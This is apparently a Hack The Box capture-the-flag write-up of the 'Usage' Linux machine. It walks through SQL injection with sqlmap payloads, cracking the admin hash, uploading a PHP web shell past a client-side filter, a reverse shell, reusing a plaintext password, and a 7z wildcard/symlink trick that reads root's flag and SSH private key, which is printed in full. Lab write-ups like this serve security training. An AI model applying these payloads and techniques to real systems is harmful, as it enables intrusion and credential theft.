
Usage
Hack The Box Machine Writeup

Usually the meter reads the other way, I guess we need MAXIMUM usage
Summary
Usage is an easy Linux box that showcases some of the more common vulnerabilities found in CTF boxes. These include a fairly basic SQLI and file upload requiring a simple client side bypass for the user step. Root revolved around exploiting a \* wildcard character in a sudo binary.
The user step starts by exploiting an SQLI to leak an admin user's hash which can then be cracked to get admin access to a web application. The next step is to bypass a basic filter and upload a web shell using the avatar upload function. From here a reverse shell can be obtained and the user step is complete.
To obtain root the attacker must first move laterally to the Xander user by finding their clear text password stored in a file. This was by far my least favorite part of the box as the way the information was stored meant common search terms such as `password` or the username would come up empty. Once the Xander user is obtained the attacker can run a custom usage_management binary as root. This binary has a wildcard vulnerability in its backup function that can be exploited to read arbitrary files from the host. This can finally be leveraged to get the root users SSH key and grab root.txt, completing the box.

Always more memes, never enough memes.
User
Recon
Port Scan with Nmap
I started off as always with a port scan using nmap. I use -sC for default scripts and -sV for version enumeration. Running it as sudo defaults to -sS stealth scanning which is quicker.
┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ nmap -sC -sV 10.129.192.21
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-16 21:40 BST
Nmap scan report for 10.129.192.21
Host is up (0.030s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a0f8fdd304b807a063dd37dfd7eeca78 (ECDSA)
|_ 256 bd22f5287727fb65baf6fd2f10c7828f (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.18 seconds
This scan reveals SSH, which we can come back to if we have creds. It also shows a web server on port 80 and gives a domain to add to our /etc/hosts file, usage.htb
Wfuzz for Vhosts
Whenever I have custom vhosts like this I like to always try to fuzz for hidden ones. My tool of choice for this is wfuzz. Make sure to run it once to find the default response length and then filter it out with --hh 178.
┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ wfuzz -u http://usage.htb/ -H "Host:FUZZ.usage.htb" -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --hh 178
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://usage.htb/
Total requests: 4997
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000024: 200 88 L 226 W 3304 Ch "admin"
Total time: 15.41882
Processed Requests: 4997
Filtered Requests: 4996
Requests/sec.: 324.0842
This scan reveals admin.usage.htb which I also added to my /etc/host file.

There seems to always be other ways to discover Vhosts for many of the CTF boxes, But fuzzing works most of the time
Web Server Enumeration
It was now time to look at the webserver on port 80. Usage.htb presents a login form with a reset password function.
Not much here, Some SQLI checks maybe, username enumeration?
There is also a register page that can be reached by the associated tab in the top right.
Maybe we can just make a new account
Lastly there is a link to the admin virtual host we discovered through fuzzing. This also presents us with a login form.
.png)
Told yah there is often other ways to find Vhosts then fuzzing
Capturing a request in burp and looking at the headers reveals the web application is running laravel. We can also see that the session cookie is set with httponly, meaning we will likely not be able to do any kind of session hijacking attack.
No XSS cookie stealing today
While enumerating through the website I was also testing for basic SQLI by injecting special chars such as ' " ;--}>) into the fields to see if any would cause an error. eventually when reaching the reset password function it throws an error and as such appears to be vulnerable to SQLI.
there are fuzzing lists you can find online to use as test strings
.png)
Bingo, an error likely means the SQL statement was made invalid by our input, indicating SQLI
Dump Admin Hash with SQLmap
Rather than try to exploit this SQLI manually I captured the request in burp, right clicked and saved the request to a file to use with SQLmap.
You can also enter the parameters manually, this is my go to way to use SQLmap though.
I can now run SQLmap, using --level 5 --risk 5 and telling it the email parameter is vulnerable with -p email. --batch is used to have the program always select the default options so we don't need to keep confirming.
┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ sqlmap -r sql --level 5 --risk 3 -p email --batch
___
__H__
___ ___[(]_____ ___ ___ {1.6.12#stable}
|_ -| . [.] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 22:43:32 /2024-04-16/
[22:43:32] [INFO] parsing HTTP request from 'sql'
[22:43:32] [INFO] resuming back-end DBMS 'mysql'
[22:43:32] [INFO] testing connection to the target URL
got a 302 redirect to 'http://usage.htb/forget-password'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: _token=UHkYv0MFRGrhMCbEPAZwV0JvDDMip29w7tEawh1A&email=test@email.com' AND 5117=(SELECT (CASE WHEN (5117=5117) THEN 5117 ELSE (SELECT 7962 UNION SELECT 1723) END))-- -
Type: time-based blind
Title: MySQL > 5.0.12 AND time-based blind (heavy query)
Payload: _token=UHkYv0MFRGrhMCbEPAZwV0JvDDMip29w7tEawh1A&email=test@email.com' AND 3249=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)-- mcQZ
---
[22:43:34] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL 8
[22:43:34] [INFO] fetched data logged to text files under '/home/htb-mp-904224/.local/share/sqlmap/output/usage.htb'
[22:43:34] [WARNING] your sqlmap version is outdated
[*] ending @ 22:43:34 /2024-04-16/
This reveals that there is indeed an SQLI present and we can now continue with enumerating the database. I use --dbs to list the databases. --threads 10 makes the attack run faster.
┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ sqlmap -r sql --level 5 --risk 3 -p email --batch --threads 10 --dbs
___
__H__
___ ___[']_____ ___ ___ {1.6.12#stable}
|_ -| . [)] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 22:45:09 /2024-04-16/
<...>
[22:45:27] [INFO] retrieved: usage_blog
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog
We can now select the usage_blog with -D and enumerate the tables with --tables.
┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ sqlmap -r sql --level 5 --risk 3 -p email --batch --threads 10 -D usage_blog --tables
___
__H__
___ ___[.]_____ ___ ___ {1.6.12#stable}
|_ -| . [.] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
<...>
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu |
| admin_operation_log |
| admin_permissions |
| admin_role_menu |
| admin_role_permissions |
| admin_role_users |
| admin_roles |
| admin_user_permissions |
| admin_users |
| blog |
| failed_jobs |
| migrations |
| password_reset_tokens |
| personal_access_tokens |
| users |
+------------------------+
We can then lastly select the admin_users table with -T and dump all the data inside with --dump.
┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ sqlmap -r sql --level 5 --risk 3 -p email --batch --threads 10 -D usage_blog -T admin_users --dump
___
__H__
___ ___[(]_____ ___ ___ {1.6.12#stable}
|_ -| . ["] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
<...>
Table: admin_users
[1 entry]
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| id | name | avatar | password | username | created_at | updated_at | remember_token |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| 1 | Administrator | <blank> | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 | admin | 2023-08-13 02:48:26 | 2023-08-23 06:02:19 | kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
And with that we have the admin users password hash: $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2

Don't drop tables, be a good hacker.
Crack Admin Hash
We can determine the kind of hash by using the[ hashcat example site](https://hashcat.net/wiki/doku.php?id=example_hashes) as a reference. In this case the hash is -m 3200 blowfish. With this information we can now proceed to crack the hash.
┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ cat hash
$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2
┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...
<...>
$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2:whatever1
We now have creds to login to the admin web application, admin:whatever1
Webshell via Client side Upload Filter Bypass
upon using the credentials to login to the admin site we are given an admin dashboard. I spent a while looking around the limited functionality here and came across the avatar upload function by clicking the picture in the top right and then clicking settings.
.png)
Make sure to enumerate as much of the functionality as you can
File uploads are always a source of risk to an application and a good place to check for vulnerabilities
I then prepared a simple PHP webshell to upload.
┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ cat shell.php
<?php system($_GET['cmd']); ?>
When uploading this we receive an error complaining that the file must be of an image type.
That would have been too easy!
There are a couple things a website can check to determine file type, one of the most common of these is the extension. As such I change the name to shell.png and upload the file, making sure to catch the request in burp so I can change it back to .php after the client side validation.
Client side validation is very easy to bypass with BURP
simply change the file ending back to .php before forwarding the request
We can now see that our avatar was updated correctly. hovering over the download button we can also see the path to the new file /uploads/images/shell.php.
We need to both be able to upload something, AND know where to access it for it to be useful.
Visiting the /uploads/images/shell.php url we can confirm we have command execution.
Boom, RCE achieved as the dash user
From here I tried a couple reverse shells from[ revshells.com](https://www.revshells.com/) before landing on python3 shortest that seemed to work well. Don't forget to start an NC listener to catch the shell.
Sometimes you need to try a whole bunch of shells until one works.
┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ nc -lvnp 42069
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::42069
Ncat: Listening on 0.0.0.0:42069
Ncat: Connection from 10.129.192.21.
Ncat: Connection from 10.129.192.21:42438.
dash@usage:/var/www/html/project_admin/public/uploads/images$
.jpg)
When one shell doesnt work, try em all until one does!
Shell Script Upgrade Trick
Whenever I get a shell I like to do the script upgrade trick to get a full TTY with more functionality like tab completion and the arrow keys. At this point I also grabbed user.txt from the dash user's home directory.
dash@usage:/var/www/html/project_admin/public/uploads/images$ script/dev/null -c bash
dash@usage:/var/www/html/project_admin/public/uploads/images$ ^Z
[1]+ Stopped nc -lvnp 42069
┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ stty raw -echo;fg
nc -lvnp 42069
reset
reset: unknown terminal type unknown
Terminal type? screen
dash@usage:~$ cat user.txt
66e559ed15babee8b2c33e915f05c431
Root
Shell as Xander
Find Xander creds
The next part was my least favorite of the box. It basically boiled down to just spending the time to look at everything for a plain text password.
looking at /home we can see there is another user, Xander.
dash@usage:/home$ ls
dash xander
Using ls -la to list all files and directory, including hidden ones, in the dash users home directory we can see a bunch of hidden stuff ( as indicated by the . at the start of the filename).
dash@usage:~$ ls -la
total 48
drwxr-x--- 6 dash dash 4096 Apr 16 22:26 .
drwxr-xr-x 4 root root 4096 Aug 16 2023 ..
lrwxrwxrwx 1 root root 9 Apr 2 20:22 .bash_history -> /dev/null
-rw-r--r-- 1 dash dash 3771 Jan 6 2022 .bashrc
drwx------ 3 dash dash 4096 Aug 7 2023 .cache
drwxrwxr-x 4 dash dash 4096 Aug 20 2023 .config
drwxrwxr-x 3 dash dash 4096 Aug 7 2023 .local
-rw-r--r-- 1 dash dash 32 Oct 26 04:50 .monit.id
-rw------- 1 dash dash 1192 Apr 16 22:26 .monit.state
-rwx------ 1 dash dash 707 Oct 26 04:49 .monitrc
-rw-r--r-- 1 dash dash 807 Jan 6 2022 .profile
drwx------ 2 dash dash 4096 Aug 24 2023 .ssh
-rw-r----- 1 root dash 33 Apr 16 20:40 user.txt
If we look at .monitrc we can see what looks like a password: 3nc0d3d_pa\$$w0rd near the top.
dash@usage:~$ cat .monitrc
#Monitoring Interval in Seconds
set daemon 60
#Enable Web Access
set httpd port 2812
use address 127.0.0.1
allow admin:3nc0d3d_pa$$w0rd
<...>
Using this password we are able to su to the Xander user and complete the lateral escalation.
dash@usage:~$ su - xander
Password: 3nc0d3d_pa$$w0rd
xander@usage:~$ id
uid=1001(xander) gid=1001(xander) groups=1001(xander)

Don't do it!
Enumeration
Checking sudo permissions with sudo -l
At this point I began my manual enumeration to look for a way to the root user. Using sudo -l reveals the /usr/bin/usage_management binary can be run as root.
xander@usage:~$ sudo -l
Matching Defaults entries for xander on usage:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User xander may run the following commands on usage:
(ALL : ALL) NOPASSWD: /usr/bin/usage_management
'Reversing' usage_management Binary
Using cat on the binary just shows a jumbled mess. However, Using strings we are much more easily able to see what is going on. What stands out right away is the wildcard in the /usr/bin/7za command.
xander@usage:~$ strings /usr/bin/usage_management
/lib64/ld-linux-x86-64.so.2
chdir
__cxa_finalize
__libc_start_main
puts
<...>
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
Error changing working directory to /var/www/html
<...>
Based on this information we can see that 7z is being run on all files in the /var/www/html directory.
Exploit 7z Wildcard
There is an excellent[ hacktricks article](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks) that outlines what we are going to do here to exploit this wildcard. Using a link file we are going to force 7z into reading the contents from another file, in this instance /root/root.txt, while it compresses the directory. As described by hack tricks:
_"Then, when 7z is execute, it will treat root.txt as a file containing the list of files it should compress (thats what the existence of @root.txt indicates) and when it 7z read root.txt it will read /file/you/want/to/read and as the content of this file isn't a list of files, it will throw and error showing the content."_
xander@usage:/var/www/html$ touch @root.txt
xander@usage:/var/www/html$ ln -s /root/root.txt root.txt
Now when we run the backup function of the /usr/bin/usage_management binary we should have it throw an error with the contents of root.txt because 7z will be reading root.txt from the link file.
xander@usage:/var/www/html$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor (A00F11),ASM,AES-NI)
Open archive: /var/backups/project.zip
--
Path = /var/backups/project.zip
Type = zip
Physical Size = 54831404
Scanning the drive:
WARNING: No more files
accd9a6df5d913da3ce0b8920a2ae3a3 <<<<<< Root.txt
2984 folders, 17950 files, 113879525 bytes (109 MiB)

It do be like that
Root shell Through Reading SSH Key
Just reading the flag is not very fulfilling however so let's quickly get a shell as root. Luckily for us we can use the same method as above, just instead of reading /root/root.txt we will read /root/.ssh/id_rsa and get root's private SSH key. From there I used the key with ssh and grabbed root.txt, truly completing the box.
xander@usage:/var/www/html$ rm root.txt
xander@usage:/var/www/html$ touch @root.txt
xander@usage:/var/www/html$ ln -s /root/.ssh/id_rsa root.txt
xander@usage:/var/www/html$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor (A00F11),ASM,AES-NI)
Open archive: /var/backups/project.zip
--
Path = /var/backups/project.zip
Type = zip
Physical Size = 54831404
Scanning the drive:
WARNING: No more files
-----BEGIN OPENSSH PRIVATE KEY-----
WARNING: No more files
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
WARNING: No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
WARNING: No more files
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
WARNING: No more files
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
WARNING: No more files
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
WARNING: No more files
-----END OPENSSH PRIVATE KEY-----
<...>
┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ cat root
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----
┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ chmod 600 root
┌─[us-dedivip-1]─[10.10.14.177]─[htb-mp-904224@htb-1yqajobuon]─[~/Desktop]
└──╼ [★]$ ssh -i root root@10.129.192.21
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
<...>
root@usage:~# cat root.txt
accd9a6df5d913da3ce0b8920a2ae3a3

One more box in the bag
Additional Resources
Ippsec video walkthrough
youtube.com
0xdf writeup
0xdf.gitlab.io